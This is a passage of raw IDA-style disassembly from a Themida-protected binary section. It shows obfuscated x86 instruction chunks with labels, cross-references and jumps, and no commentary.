loc_547264:				; CODE XREF: Themida_:00545399j
		pop	esi
		xor	ebx, 9D542B3h
		add	eax, ebx
		pop	ebx
		push	7784h
		mov	[esp], ebp
		push	edi
		jmp	loc_54EDC8
; ---------------------------------------------------------------------------


loc_54727C:				; CODE XREF: Themida_:0054AE75j
		pop	ecx
		push	esi
		jmp	loc_544C9B
; ---------------------------------------------------------------------------


loc_547283:				; CODE XREF: Themida_:00547D46j
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 9B1B276h
		sub	esi, 2B883F44h
		add	esi, ecx
		add	esi, 2B883F44h
		pop	ecx
		dec	esi
		jmp	loc_54C74F
; ---------------------------------------------------------------------------


loc_5472A9:				; CODE XREF: Themida_:0054BF7Aj
		push	ebx
		mov	ebx, 91F6F35h
		and	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5D5A835h
		xor	ebp, ecx
		jmp	loc_54FF9F
; ---------------------------------------------------------------------------


loc_5472C4:				; CODE XREF: Themida_:0054DC2Ej
		shl	ecx, 8
		inc	ecx
		inc	ecx
		add	ecx, 51873002h
		mov	eax, ecx
		pop	ecx
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_54909C
; ---------------------------------------------------------------------------


loc_5472E3:				; CODE XREF: Themida_:0054DC48j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	6CE9h
		mov	[esp], edi
		jmp	loc_54CCC2
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_54FED9
; ---------------------------------------------------------------------------


loc_547303:				; CODE XREF: Themida_:00546830j
		shl	bl, 1
		add	bl, 34h
		jmp	loc_54E733
; ---------------------------------------------------------------------------


loc_54730D:				; CODE XREF: Themida_:00548BEFj
		pop	esp
		mov	[esp], eax
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_547CFB
; ---------------------------------------------------------------------------


loc_547322:				; CODE XREF: Themida_:0054DBF8j
		sub	edx, ecx
		add	edx, 0E42E75h
		jmp	loc_547B3D
; ---------------------------------------------------------------------------


loc_54732F:				; CODE XREF: Themida_:005446BBj
		push	esi
		mov	esi, 348558B6h
		push	edx
		mov	edx, 74B30BBBh
		jmp	loc_545A4C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_548626
; ---------------------------------------------------------------------------


loc_547349:				; CODE XREF: Themida_:0054DB68j
		mov	ebx, [esp]
		jmp	loc_54BD5A
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	32CCh
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	6334h
		mov	[esp], esi
		push	edi
		push	68F13C6Bh
		pop	edi
		jmp	loc_54CF80
; ---------------------------------------------------------------------------


loc_547373:				; CODE XREF: Themida_:0054E110j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5482BF
; ---------------------------------------------------------------------------


loc_54737E:				; CODE XREF: Themida_:0055008Bj
		add	dh, 0C3h
		jmp	loc_54B5A6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5453A4
; ---------------------------------------------------------------------------


loc_54739C:				; CODE XREF: Themida_:00546E40j
		add	ebp, esi
		push	ecx
		mov	ecx, 0C743880h
		neg	ecx
		shl	ecx, 3
		dec	ecx
		jmp	loc_5493BA
; ---------------------------------------------------------------------------


loc_5473AF:				; CODE XREF: Themida_:00546E17j
		add	edx, 4
		jmp	loc_549BB6
; ---------------------------------------------------------------------------


loc_5473BA:				; CODE XREF: Themida_:00548BAAj
		add	edx, ebx
		pop	ebx
		jmp	loc_544645
; ---------------------------------------------------------------------------


loc_5473C2:				; CODE XREF: Themida_:0054AED6j
		sub	bl, 0EDh
		push	ax
		jmp	loc_54EF40
; ---------------------------------------------------------------------------


loc_5473CC:				; CODE XREF: Themida_:00544C7Fj
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, 6B0B77E6h
		add	edx, ebp
		sub	edx, 6B0B77E6h
		pop	ebp
		push	eax
		jmp	loc_54BB5E
; ---------------------------------------------------------------------------


loc_5473E9:				; CODE XREF: Themida_:00545982j
		add	esi, eax
		add	esi, 7E585286h
		pop	eax
		push	edx
		push	0A31h
		jmp	loc_54AD29
; ---------------------------------------------------------------------------


loc_5473FD:				; CODE XREF: Themida_:0054E1E6j
		mov	edi, 38700A7Ah
		push	ebx
		mov	ebx, 27801D85h
		sub	ebx, 22F45B72h
		inc	ebx
		add	ebx, 7D9D0ACFh
		sub	ebx, 608F9208h
		add	edi, ebx
		pop	ebx
		xor	edi, 306B57DCh
		jmp	loc_54CC2B
; ---------------------------------------------------------------------------


loc_547429:				; CODE XREF: Themida_:0054D513j
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7B02439Dh
		mov	ecx, 0BD0A453Fh
		sub	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, 313208D5h
		xor	ecx, ebp
		pop	ebp
		sub	ecx, 733A0975h
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5489D8
; ---------------------------------------------------------------------------


loc_547468:				; CODE XREF: Themida_:0054D7E4j
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54654B
; ---------------------------------------------------------------------------


loc_547477:				; CODE XREF: Themida_:00549838j
		xor	edx, 11A73222h
		xor	edi, edx
		jmp	loc_545C92
; ---------------------------------------------------------------------------


loc_547484:				; CODE XREF: Themida_:00544BB6j
		sub	esp, 4
		jmp	loc_544E9C
; ---------------------------------------------------------------------------
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		push	edx
		jmp	loc_546DFE
; ---------------------------------------------------------------------------


loc_547499:				; CODE XREF: Themida_:0054EC77j
		sub	esp, 4
		jmp	loc_54BB9E
; ---------------------------------------------------------------------------


loc_5474A1:				; CODE XREF: Themida_:00549872j
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_548229
; ---------------------------------------------------------------------------


loc_5474C3:				; CODE XREF: Themida_:0054AF2Aj
		xor	al, 61h
		or	al, 3Eh
		push	ebx
		jmp	loc_54528B
; ---------------------------------------------------------------------------


loc_5474CD:				; CODE XREF: Themida_:00545C75j
		sub	ecx, 0BCE379Fh
		add	ecx, 0D98EC196h
		add	esi, ecx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54F631
; ---------------------------------------------------------------------------


loc_5474E7:				; CODE XREF: Themida_:0054C937j
		xchg	ebx, [esp]
		jmp	loc_549F61
; ---------------------------------------------------------------------------


loc_5474EF:				; CODE XREF: Themida_:005451B1j
		push	esi
		mov	esi, 5F8A55D3h
		jmp	loc_5493C8
; ---------------------------------------------------------------------------


loc_5474FA:				; CODE XREF: Themida_:0054E39Bj
		push	eax
		mov	eax, 5820D1Fh
		jmp	loc_54D8A9
; ---------------------------------------------------------------------------


loc_547505:				; CODE XREF: Themida_:0054E9CFj
		mov	ecx, 138F6358h
		xor	ecx, 29A04FAFh
		jmp	loc_549641
; ---------------------------------------------------------------------------


loc_547515:				; CODE XREF: Themida_:00548D8Cj
		xchg	dl, cl
		add	cl, 0E2h
		xor	al, cl
		jmp	loc_54791B
; ---------------------------------------------------------------------------


loc_547521:				; CODE XREF: Themida_:0054806Fj
		dec	esi
		jmp	loc_547642
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_547527:				; CODE XREF: sub_545BCC+52D3j
		sub	bl, ch
		sub	bl, 49h
		pop	ecx
		add	bl, al
		push	ecx
		jmp	loc_54D1EE
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547545:				; CODE XREF: Themida_:0054F8B1j
		push	edi
		push	edx
		jmp	loc_54E141
; ---------------------------------------------------------------------------


loc_54754C:				; CODE XREF: Themida_:00544DC3j
		mov	ecx, 0FC7FBBADh
		xor	edx, ecx
		jmp	loc_54518D
; ---------------------------------------------------------------------------


loc_547558:				; CODE XREF: Themida_:00545A47j
		xchg	edx, [esp]
		pop	esp
		shl	esi, 5
		inc	esi
		add	esi, 0D25B0F81h
		add	edi, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 5AB40708h
		shr	ecx, 8
		shr	ecx, 6
		sub	ecx, 16ACCh
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	edi, [esp]
		jmp	loc_54D315
; ---------------------------------------------------------------------------


loc_547592:				; CODE XREF: Themida_:0054F9CCj
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54EFAD
; ---------------------------------------------------------------------------


loc_5475A8:				; CODE XREF: Themida_:0054626Cj
		xchg	ecx, [esp]
		jmp	loc_544C11
; ---------------------------------------------------------------------------


loc_5475B0:				; CODE XREF: Themida_:00545404j
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_54FC6D
; ---------------------------------------------------------------------------


loc_5475CE:				; CODE XREF: Themida_:00548A6Bj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	esi, 115C2814h
		add	esi, ebx
		sub	esi, 115C2814h
		mov	ebx, [esp]
		jmp	loc_54F75C
; ---------------------------------------------------------------------------


loc_5475EB:				; CODE XREF: Themida_:0054E16Ej
		mov	[esp], edx
		mov	edx, 2
		mov	ebx, edx
		push	dword ptr [esp]
		jmp	loc_54BFAE
; ---------------------------------------------------------------------------


loc_5475FD:				; CODE XREF: Themida_:0054EBB4j
		push	dword ptr [esp]
		jmp	loc_54A804
; ---------------------------------------------------------------------------


loc_547605:				; CODE XREF: Themida_:00549513j
		push	4CAFh
		mov	[esp], ebx
		mov	ebx, 40h
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_54C1AC
; ---------------------------------------------------------------------------


loc_54761F:				; CODE XREF: Themida_:005442CBj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54F778
; ---------------------------------------------------------------------------


loc_54762A:				; CODE XREF: Themida_:0054C95Aj
		pop	edx
		shl	ebx, 6
		jmp	loc_544449
; ---------------------------------------------------------------------------


loc_547633:				; CODE XREF: Themida_:005463D8j
		mov	dl, 0DAh
		shr	dl, 3
		sub	dl, 0E8h
		add	al, dl
		jmp	loc_54BE04
; ---------------------------------------------------------------------------


loc_547642:				; CODE XREF: Themida_:00547522j
		push	ebx
		mov	ebx, 29199Fh
		xor	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		jmp	loc_54CE76
; ---------------------------------------------------------------------------


loc_547653:				; CODE XREF: Themida_:0054CC44j
		mov	dl, al
		pop	eax
		pop	ebx
		add	al, 7Eh
		add	al, dl
		jmp	loc_54BB33
; ---------------------------------------------------------------------------


loc_547660:				; CODE XREF: Themida_:0054BD1Dj
		sub	bx, bp
		pop	ebp
		sub	bx, 63EEh
		add	bx, ax
		jmp	loc_54DB30
; ---------------------------------------------------------------------------


loc_547671:				; CODE XREF: Themida_:005481E7j
		mov	edi, 6B200638h
		push	2606h
		mov	[esp], esi
		push	ecx
		mov	ecx, 6C401EEEh
		jmp	loc_54D816
; ---------------------------------------------------------------------------


loc_547689:				; CODE XREF: Themida_:00546DAEj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		std
		jmp	loc_54CB51
; ---------------------------------------------------------------------------


loc_54769F:				; CODE XREF: Themida_:0054E146j
		mov	edi, edx
		pop	edx
		or	eax, edi
		jmp	loc_54466A
; ---------------------------------------------------------------------------


loc_5476A9:				; CODE XREF: Themida_:00545256j
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_547DF9
; ---------------------------------------------------------------------------


loc_5476B3:				; CODE XREF: Themida_:0054A3FDj
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		jmp	loc_546FA8
; ---------------------------------------------------------------------------


loc_5476BF:				; CODE XREF: Themida_:00544990j
		pop	edi
		jmp	loc_550055
; ---------------------------------------------------------------------------


loc_5476C5:				; CODE XREF: Themida_:0054D625j
		mov	ebp, esp
		push	esi
		jmp	loc_546A5A
; ---------------------------------------------------------------------------


loc_5476CD:				; CODE XREF: Themida_:0054CDE2j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 14786DA3h
		push	esi
		jmp	loc_54680D
; ---------------------------------------------------------------------------


loc_5476E1:				; CODE XREF: Themida_:005470F8j
		pop	esi
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		xor	[edi+24h], edx
		jmp	loc_54DD2E
; ---------------------------------------------------------------------------


loc_5476F4:				; CODE XREF: Themida_:0054F405j
		pop	edx
		add	ecx, ebp
		pop	ebp
		sub	ecx, 4
		jmp	loc_54ED29
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547708:				; CODE XREF: Themida_:0054A9FAj
		sub	esp, 4
		mov	[esp], edi
		push	3D41h
		mov	[esp], esp
		push	ecx
		jmp	loc_54E982
; ---------------------------------------------------------------------------


loc_54771C:				; CODE XREF: Themida_:005479B0j
		push	ecx
		jmp	loc_54A64A
; ---------------------------------------------------------------------------


loc_547722:				; CODE XREF: Themida_:0054963Cj
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_547E97
; ---------------------------------------------------------------------------


loc_547730:				; CODE XREF: Themida_:0054F03Cj
		mov	esi, 4
		mov	edx, esi
		pop	esi
		add	[esp+4], edx
		pop	edx
		jmp	loc_5440E5
; ---------------------------------------------------------------------------


loc_547742:				; CODE XREF: Themida_:0054DA9Aj
		pop	ebx
		or	ah, cl
		pop	cx
		push	ebx
		mov	bl, 0B8h
		push	cx
		mov	ch, 6Ch
		sub	bl, ch
		pop	cx
		push	eax
		mov	al, 3Dh
		dec	al
		add	al, 0F4h
		jmp	loc_54B7A9
; ---------------------------------------------------------------------------


loc_54775E:				; CODE XREF: Themida_:00546B28j
		add	esp, 4
		add	edx, 4
		jmp	loc_544919
; ---------------------------------------------------------------------------


loc_547769:				; CODE XREF: Themida_:00545E6Bj
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547778:				; CODE XREF: Themida_:0054813Cj
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp]
		push	2268h
		mov	[esp], ebp
		jmp	loc_54EC7C
; ---------------------------------------------------------------------------


loc_54778F:				; CODE XREF: Themida_:0054D754j
		sub	[esp+4], ebp
		pop	ebp
		pop	edx
		push	esi
		jmp	loc_548D15
; ---------------------------------------------------------------------------


loc_54779B:				; CODE XREF: Themida_:00545180j
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54D7C9
; ---------------------------------------------------------------------------


loc_5477AA:				; CODE XREF: Themida_:0054D8C0j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 157F3E31h
		sub	edi, eax
		add	edi, 157F3E31h
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54CAAD
; ---------------------------------------------------------------------------


loc_5477D7:				; CODE XREF: Themida_:0054697Cj
		mov	[esp], cx
		push	ebx
		mov	bl, 14h
		mov	ch, 85h
		add	ch, bl
		jmp	loc_5456AE
; ---------------------------------------------------------------------------


loc_5477E7:				; CODE XREF: Themida_:00549684j
		mov	ebp, 419D0B16h
		push	edx
		mov	edx, 595674C2h
		and	ebp, edx
		pop	edx
		shr	ebp, 1
		neg	ebp
		or	ebp, 546215DBh
		dec	ebp
		add	ebp, 969C0D6Ch
		jmp	loc_545C04
; ---------------------------------------------------------------------------


loc_54780B:				; CODE XREF: Themida_:00546C7Ej
		mov	[esp], ax
		push	edx
		mov	dl, 0BAh
		inc	dl
		add	dl, 5Ch
		xor	dl, 2Dh
		mov	al, dl
		jmp	loc_54B945
; ---------------------------------------------------------------------------


loc_547821:				; CODE XREF: Themida_:0054FA01j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5FE3323Ah
		sub	eax, 9042C70h
		sub	eax, 9827428h
		xor	eax, 4D5C919Ah
		mov	edi, eax
		pop	eax
		push	edi
		jmp	loc_548DDD
; ---------------------------------------------------------------------------


loc_547844:				; CODE XREF: Themida_:00547D6Dj
		pop	esp
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54C0EE
; ---------------------------------------------------------------------------


loc_547856:				; CODE XREF: Themida_:00546FA3j
		add	ebx, 3BE57C94h
		jmp	loc_54B144
; ---------------------------------------------------------------------------


loc_547861:				; CODE XREF: Themida_:00544B6Dj
		mov	[esp], ebp
		push	0BD73285h
		pop	ebp
		add	ebx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		jmp	loc_54F6A7
; ---------------------------------------------------------------------------


loc_547878:				; CODE XREF: Themida_:00545024j
		sub	ebx, 7986BD5h
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_54788E:				; CODE XREF: Themida_:00548621j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		xor	edx, edx
		push	7941h
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_549D27
; ---------------------------------------------------------------------------


loc_5478C3:				; CODE XREF: Themida_:00548B5Aj
		sub	ebp, 1
		jmp	loc_5451AB
; ---------------------------------------------------------------------------


loc_5478CB:				; CODE XREF: Themida_:0054F600j
		push	ebx
		push	ecx
		jmp	loc_548338
; ---------------------------------------------------------------------------


loc_5478D2:				; CODE XREF: Themida_:0054B2E6j
		push	34C8h
		mov	[esp], ebp
		mov	ebp, 2E227EC5h
		add	eax, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54C895
; ---------------------------------------------------------------------------
		dd 0E99F2CACh, 0FFFFD6B0h
; ---------------------------------------------------------------------------


loc_5478F8:				; CODE XREF: Themida_:0054AD3Cj
		sub	esi, 0E9388BB2h
		sub	eax, 386F7832h
		add	eax, esi
		add	eax, 386F7832h
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_548CB0
; ---------------------------------------------------------------------------


loc_54791B:				; CODE XREF: Themida_:0054751Cj
		mov	cx, [esp]
		push	264Bh
		mov	[esp], edi
		jmp	loc_54EB6D
; ---------------------------------------------------------------------------


loc_54792C:				; CODE XREF: Themida_:00549399j
		mov	ecx, 0AAA4D4E2h
		sub	ecx, 2AD1382Dh
		add	ecx, esi
		add	ecx, 2AD1382Dh
		mov	esi, [esp]
		jmp	loc_54EB59
; ---------------------------------------------------------------------------


loc_547947:				; CODE XREF: Themida_:0054CE44j
		add	dword ptr [esp], 4
		jmp	loc_54C09B
; ---------------------------------------------------------------------------


loc_547950:				; CODE XREF: Themida_:0054D652j
		and	edx, 90F5D0Dh
		jmp	loc_54FA32
; ---------------------------------------------------------------------------


loc_54795B:				; CODE XREF: Themida_:00546808j
		and	edi, 53E0037Fh
		not	edi
		xor	edi, 0C9DBB0BFh
		jmp	loc_549F9E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 3AD6345Dh
		and	edx, 30507AC2h
		shl	edx, 7
		dec	edx
		jmp	loc_54C3E7
; ---------------------------------------------------------------------------


loc_54798A:				; CODE XREF: Themida_:0054C2B9j
		push	ecx
		mov	ecx, 0CE533B6Bh
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		sub	edx, 1
		sub	esp, 4
		jmp	loc_54A2CE
; ---------------------------------------------------------------------------


loc_5479A4:				; CODE XREF: Themida_:0054B2F9j
		shl	edx, 3
		add	edx, 0D719964h
		add	ebx, edx
		pop	edx
		jmp	loc_54771C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54A261
; ---------------------------------------------------------------------------


loc_5479CC:				; CODE XREF: Themida_:0054A2D6j
		xor	edx, edi
		jmp	loc_5493D2
; ---------------------------------------------------------------------------


loc_5479D3:				; CODE XREF: Themida_:0054E655j
		shr	edi, 2
		sub	edi, 0A168FA11h
		jmp	loc_545B2D
; ---------------------------------------------------------------------------


loc_5479E1:				; CODE XREF: Themida_:00548C0Bj
		add	eax, 4
		jmp	loc_54478E
; ---------------------------------------------------------------------------


loc_5479EB:				; CODE XREF: Themida_:0054DDF7j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	edx, 73064834h
		add	edx, 105B78CEh
		add	edx, edi
		sub	edx, 105B78CEh
		push	ecx
		push	eax
		mov	eax, 17AB2A1Bh
		jmp	loc_54D06C
; ---------------------------------------------------------------------------


loc_547A15:				; CODE XREF: Themida_:0054C6FAj
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_54ACFF
; ---------------------------------------------------------------------------


loc_547A2C:				; CODE XREF: Themida_:0054FA7Fj
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		not	ebp
		or	ebp, 63803212h
		not	ebp
		neg	ebp
		sub	ebp, 291A8765h
		push	edi
		jmp	loc_54D41A
; ---------------------------------------------------------------------------


loc_547A49:				; CODE XREF: Themida_:00548DF9j
					; Themida_:0054ECC1j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54DE0E
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	7F37h
		jmp	loc_546017
; ---------------------------------------------------------------------------


loc_547A62:				; CODE XREF: Themida_:00545223j
		pop	esi
		pop	esi
		jmp	loc_54C95F
; ---------------------------------------------------------------------------


loc_547A69:				; CODE XREF: Themida_:0054DF7Ej
		mov	[esp], edx
		jmp	loc_548418
; ---------------------------------------------------------------------------


loc_547A71:				; CODE XREF: Themida_:00544364j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_54EDC3
; ---------------------------------------------------------------------------


loc_547A7E:				; CODE XREF: Themida_:00547C7Cj
		or	edi, edx
		jmp	loc_54FAA3
; ---------------------------------------------------------------------------


loc_547A85:				; CODE XREF: Themida_:00546D2Fj
		dec	ch
		shl	ch, 1
		add	ch, 0C3h
		sub	al, ch
		pop	ecx
		add	al, 30h
		sub	al, ch
		jmp	loc_54C37E
; ---------------------------------------------------------------------------


loc_547A98:				; CODE XREF: Themida_:0054A2AEj
		mov	[esp], edi
		mov	edi, 2DE20247h
		jmp	loc_54410A
; ---------------------------------------------------------------------------


loc_547AA5:				; CODE XREF: Themida_:0054AAE4j
		push	edx
		mov	edx, 98347A4h
		sub	edx, 28322152h
		and	edx, 335C7E5Ch
		push	2F28h
		jmp	loc_54FA77
; ---------------------------------------------------------------------------


loc_547AC1:				; CODE XREF: Themida_:0054504Dj
		add	esp, 4
		shr	eax, 0Ah
		jmp	loc_54C6F0
; ---------------------------------------------------------------------------


loc_547ACF:				; CODE XREF: Themida_:0054A324j
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		push	ecx
		mov	ecx, 2
		add	esi, 22380AE4h
		add	esi, ecx
		sub	esi, 22380AE4h
		pop	ecx
		jmp	loc_54AA5B
; ---------------------------------------------------------------------------


loc_547AF8:				; CODE XREF: Themida_:0054882Bj
		sub	edx, ecx
		pop	ecx
		not	edx
		push	esi
		jmp	loc_546145
; ---------------------------------------------------------------------------


loc_547B03:				; CODE XREF: Themida_:0054911Cj
		mov	ebp, [esp]
		jmp	loc_544E91
; ---------------------------------------------------------------------------


loc_547B0B:				; CODE XREF: Themida_:0054A028j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		movsx	cx, al
		jmp	loc_54664C
; ---------------------------------------------------------------------------


loc_547B1E:				; CODE XREF: Themida_:005484F6j
		mov	edi, esp
		push	4360h
		mov	[esp], eax
		jmp	loc_546182
; ---------------------------------------------------------------------------


loc_547B2D:				; CODE XREF: Themida_:0054C533j
		mov	ebx, edi
		pop	edi
		xor	ebx, 2B837668h
		add	esi, ebx
		jmp	loc_547258
; ---------------------------------------------------------------------------


loc_547B3D:				; CODE XREF: Themida_:0054732Aj
		pop	ecx
		or	[edi+1Ch], edx
		pop	edx


loc_547B42:				; CODE XREF: Themida_:0054C852j
		push	ebx
		push	6AB1h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4C576FEAh
		jmp	loc_54873B
; ---------------------------------------------------------------------------


loc_547B56:				; CODE XREF: Themida_:0054A673j
		pop	esp
		sub	[edi+24h], ecx
		pop	ecx


loc_547B5B:				; CODE XREF: Themida_:0054F7D8j
		push	52E7h
		mov	[esp], ebx
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	ebp
		push	48E752D4h
		pop	ebp
		jmp	loc_54F827
; ---------------------------------------------------------------------------


loc_547B77:				; CODE XREF: Themida_:0054B0B6j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	[esp+4], ebp
		pop	ebp
		pop	esi
		push	4F4Dh
		jmp	loc_54E201
; ---------------------------------------------------------------------------


loc_547B8E:				; CODE XREF: Themida_:0054B88Ej
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 5A4051DAh
		shr	ecx, 2
		jmp	loc_54DA9F
; ---------------------------------------------------------------------------


loc_547BA3:				; CODE XREF: Themida_:00549272j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_54C1C3
; ---------------------------------------------------------------------------


loc_547BBD:				; CODE XREF: Themida_:0054DEDBj
		dec	edi
		and	edi, 444A4BDFh
		inc	edi
		add	edi, 0FCF92412h
		add	eax, edi
		pop	edi
		pop	ecx
		sub	eax, ebx
		jmp	loc_548654
; ---------------------------------------------------------------------------


loc_547BD6:				; CODE XREF: Themida_:0054DD55j
		mov	eax, 4C0C3446h
		not	eax
		push	edx
		mov	edx, 9CF747Fh
		sub	eax, edx
		pop	edx
		add	eax, 1
		sub	eax, 0AA245717h
		add	eax, edi
		xor	[eax], edx
		pop	eax
		jmp	loc_54AFF4
; ---------------------------------------------------------------------------


loc_547BFA:				; CODE XREF: Themida_:00544189j
		mov	ebp, 4CD13BFCh
		jmp	loc_5488E6
; ---------------------------------------------------------------------------


loc_547C04:				; CODE XREF: Themida_:0054D1C9j
		add	ebx, 4AEB19B0h
		push	ebp
		jmp	loc_548FEB
; ---------------------------------------------------------------------------


loc_547C10:				; CODE XREF: Themida_:00546158j
		sub	[esp+8], edi
		pop	edi
		pop	ebx
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_547C1B:				; CODE XREF: Themida_:0054C945j
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	edx, 1A0C176Ah
		sub	edx, 0ADB1B53h
		add	edx, eax
		add	edx, 0ADB1B53h
		jmp	loc_54E861
; ---------------------------------------------------------------------------


loc_547C3A:				; CODE XREF: Themida_:00549790j
		push	ebp
		jmp	loc_545F79
; ---------------------------------------------------------------------------


loc_547C40:				; CODE XREF: Themida_:005491E0j
		shr	esi, 6
		add	esi, 27037CB2h
		jmp	loc_54CE0A
; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	esi, ecx
		pop	ecx
		pop	ebx
		jmp	loc_54B6E4
; ---------------------------------------------------------------------------


loc_547C59:				; CODE XREF: Themida_:0054C870j
		add	dl, ah
		pop	ax
		jmp	loc_548775
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_549970
; ---------------------------------------------------------------------------


loc_547C7B:				; CODE XREF: Themida_:0054F90Aj
		pop	ebp
		jmp	loc_547A7E
; ---------------------------------------------------------------------------


loc_547C81:				; CODE XREF: Themida_:00544FE9j
		add	esp, 4
		shl	esi, 1
		push	ebp
		mov	ebp, 71CAA14h
		xor	esi, ebp
		pop	ebp
		sub	eax, 55AB5E16h
		add	eax, esi
		add	eax, 55AB5E16h
		jmp	loc_54DBBF
; ---------------------------------------------------------------------------


loc_547CA0:				; CODE XREF: Themida_:0054D90Aj
		push	esi
		mov	esi, esp
		jmp	loc_54CB87
; ---------------------------------------------------------------------------


loc_547CA8:				; CODE XREF: Themida_:0054BA03j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5464D4
; ---------------------------------------------------------------------------


loc_547CB3:				; CODE XREF: Themida_:00548460j
		pop	edx
		push	ebp
		jmp	loc_545FDE
; ---------------------------------------------------------------------------


loc_547CBA:				; CODE XREF: Themida_:00549B01j
		push	ecx
		sub	esp, 4
		jmp	loc_549C64
; ---------------------------------------------------------------------------


